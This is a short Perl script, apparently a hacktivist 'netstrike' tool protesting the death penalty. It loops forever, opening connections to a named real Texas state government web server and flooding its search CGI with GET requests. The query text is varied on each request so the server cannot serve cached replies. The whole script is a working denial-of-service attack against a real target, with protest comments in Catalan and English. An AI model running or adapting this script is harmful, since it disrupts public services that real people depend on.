#!/usr/bin/perl
##	Netstrike contra la "Pena di morti".
##
##	Simple-Auto-Netstrike v 0.1
##	
##	kenneth@drac.com	
##

use IO::Socket;

$host="tdcj.state.tx.us";
$start_query="Contra+%2Bla+%26pena+-cde+%26mort+i+altres+menes+de+matar+persones,+acabem+amb+els+estats+i+les+lleis+feixistes,+opressores+o+discriminatòries.";

	$LINK[0]="/cgi-bin/Stop_Killing_People";
	$start_link="/cgi-bin/texis/webinator/search/?db=db&query=";
	$query=$start_query;
	$end_link="&submit=Submit";

	$i=0;
	$j=0;
for(;;)
{
	$i=$j%2;
#	Here we get min-diff queries. I want the message to be readed :)
#	Very simple. Excuese me but... I've modified it in 2 min!

	if(($j%3)!=0)
	{
		$query=~ y/a-z/b-y/ ;
		$LINK[1]=$start_link.$query.$end_link;		
	}else{
		$query=$j.$start_query.$j;
		$LINK[1]=$start_link.$query.$end_link;
	}

	$sock = IO::Socket::INET->new(PeerAddr => $host,
				PeerPort => 80,
				Proto => 'tcp');
	die "Socket $sock not connected: $!\n" unless $sock;
	
	$j++;
#		print "$j\t-> GET $LINK[$i] HTTP/1.0\n";
	printf "GET number: $j\n";
	print $sock "GET $LINK[$i] HTTP/1.0\n\n";
#	Here we read the socket :) long time ago, here was my spider's heart, 
#	nowadays, its more useful for Netstrikes as we can see it now ;-)

	while ($buf = <$sock>)
	{
	}
	close ($sock);
}
